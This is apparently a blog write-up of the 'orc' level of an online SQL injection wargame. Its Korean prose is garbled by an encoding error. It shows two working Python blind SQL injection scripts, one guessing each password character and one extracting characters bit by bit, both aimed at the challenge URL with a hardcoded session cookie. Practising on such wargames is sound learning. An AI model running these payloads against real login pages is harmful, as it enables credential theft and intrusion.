์ ๊ฐ ์ ๋ฒ์ los๋ฌธ์ ๋ฅผ 5๋ฒ๊น์ง ํฌ์คํ
ํ ํ, 10๋ฒ ๋ฑํ์ด์ด (?) ๋ฌธ์ ๊น์ง ๋ค ํ์ด๋์์
๋ฌธ์ ํ์ด๋ฅผ ์ฌ๋ฆฌ๋ ค๊ณ ์ค๋ ๋ค์ ๋ค์ด๊ฐ ๋ณด์๋๋ฐ ์ค๋ ๋ค์ด๊ฐ ๋ณด๋, ์ฌ์ดํธ๊ฐ ํฉ์ณ์ง๊ฑด์ง ๋ฐ๋๊ฑด์ง
los ๋ฌธ์ ํธ๋ ์ฌ์ดํธ๋ฅผ ๋ก๊ทธ์ธ ํ์๋๋ ์๋์ฒ๋ผ ๋๋๊ตฐ์..
์ฌ์ง์ด๋..์ ์ ํ๋ ๋ฌธ์ ๊น์ง ์ฒดํฌ๋ ์๋๊ณ ใ
ใ
ใ
...
48๋ฌธ์ ๋ก ๋์ด๋์๋๋ผ๊ตฌ์!
๊ทธ๋์ 48๋ฒ๊น์ง ๋ค์ ํ์ด๋ณด๋ ค ํฉ๋๋ค ^-^...
์ผ๋จ, ๋ค์ ํ์ด๋ณด๋ ์ค 4๋ฒ orc๋ฌธ์ ์ ๋ต์ด ์ ์ los์ ๋ฌ๋๊ธฐ ๋๋ฌธ์ ๋ค์ ํ์ด๋ฅผ ์ฌ๋ ค๋ด
๋๋ค.
์ผ๋จ ์๋๋ ํ์ด์ฌ ์ฝ๋๋ก, ๋ถ๋ช
์ ๋ต์ด ๋์์ผ ํ ํ
๋ฐ ์๊พธ ์ด์ํ pw๊ฐ ์ถ๋ ฅ์ด ๋๋๋ผ๊ณ ์
์ฌ์ง์ด๋ ๊ทธ ์ ๋ต๋ค๋ ๋ชจ๋ hello admin ์ด๋ผ๋ ๋ฌธ๊ตฌ๋ฅผ ์ถ๋ ฅ์์ผ์
๋ฌธ์ ๊ฐ ์ด์ํ ์ค๋ก๋ง ์์์ต๋๋ค.
import requests
from bs4 import BeautifulSoup
query1 = "\' or substring(pw,%d,1)= %s#"
dbname =[]
word =['\'a\'', '\'b\'', '\'c\'', '\'d\'', '\'e\'', '\'f\'', '\'g\'','\'h\'','\'i\'','\'j\'','\'k\'','\'l\'','\'m\'','\'n\'','\'o\'',
'\'p\'','\'q\'','\'r\'','\'s\'','\'t\'','\'u\'','\'v\'', '\'w\'','\'x\'','\'y\'','\'z\'','1','2','3','4','5','6','7','8','9','0',]
#print("์ํ ์ฝ๋ : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("######################data ๋ถ์ ์ค")
num = 1
while num <= 8:
for src in word:
dbname = [query1 %(num, src)]
cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
params = {'id': 'admin', 'pw': dbname}
res = requests.get('https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello admin" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code: #์ฝ๋์์ ์ฐธ์ผ ์ ๋์ค๋ ๊ฐ์ด ๋ค์ด๊ฐ ์๋ค๋ฉด
print("Password : ", src)
print(dbname)
break
num = num+1
print("###########################์๋ฃ")
๊ทธ๋ฐ๋ฐ ๊ตฌ๊ธ ๊ฒ์์ ํ๋ ์ค, 2์ง์๋ก ๊ฐ์ ๋น๊ตํ๋ ์ฝ๋๋ฅผ ๋ณด์๊ณ ์ฐธ๊ณ ํ ์ด์ง ๋ณ๊ฒฝ ์์ผ ์ฃผ์์ต๋๋ค.
import requests
requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='
headers = {'Cookie': 'PHPSESSID=27g5thpe9ib9v6o1vq12kvhpv6'}
passwordLen = 0
payload = "1' or id='admin' and length(pw)="
print('\n############# blind sql injection ###############')
for i in range(1, 100):
tmpPayload = payload + str(i) + '%23'
res = sess.get(url=URL + tmpPayload, headers=headers, verify=False)
if 'Hello admin' in res.text:
# true
print('\nPassword Length : %d' % i)
passwordLen = i
break
else:
# false
pass
Password = ''
print('\n############# Falg ###############')
for j in range(1, 9):
bit = ''
for i in range(1, passwordLen + 1):
payload = "1' or id='admin' and substr(lpad(bin(ord(substr(pw,{},1))),8,0),{},1)=1%23".format(j, i)
res = sess.get(url=URL + payload, headers=headers, verify=False)
if 'Hello admin' in res.text:
# true ==> the bit is 1
bit += '1'
else:
# false ==> the bit is 0
bit += '0'
Password += chr(int(bit, 2))
print('%02d. Find Password : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))
print('[=] Password : %s' % Password)
๊ฒฐ๊ณผ๋ ์ ๋ง ๊น๋ํ๊ฒ ์ถ๋ ฅ๋๋ค์... + ์๋๊ฐ ์ ๋ง ํ ๊ธ์์ฉ ๋น๊ตํ ๋๋ณด๋ค ํจ์ฌ ๋น ๋ฅด๋ค์..
ํ์ด์ฌ ์ฝ๋ ์ถ์ฒ :https://kkamikoon.tistory.com/177?category=829545
์ด๋ ๊ฒ ๋์จ ํ๋๊ทธ ๊ฐ์ ์
๋ ฅํด๋ณด๋ orc ๋ฌธ์ ํด๋ฆฌ์ด.
ํ๊ฐ์ฉ ๊ฐ์ ์
๋ ฅํด๋ณด๋ ๋ฐฉ๋ฒ์ ์ข์ง ์์ ๊ฒ ๊ฐ์ต๋๋ค. ๋ฌธ์ ์์ hello admin ์ด๋ผ๋ ์ถ๋ ฅ๋ฌธ์ด ๊ผญ
์ฐธ์ด์ฌ์ผ๋ง ๋์ค๋ ๊ฒ์ด ์๋๋๊ตฐ์,,(ํ ..)
ํ์ฌํผ ํด๋ฆฌ์ด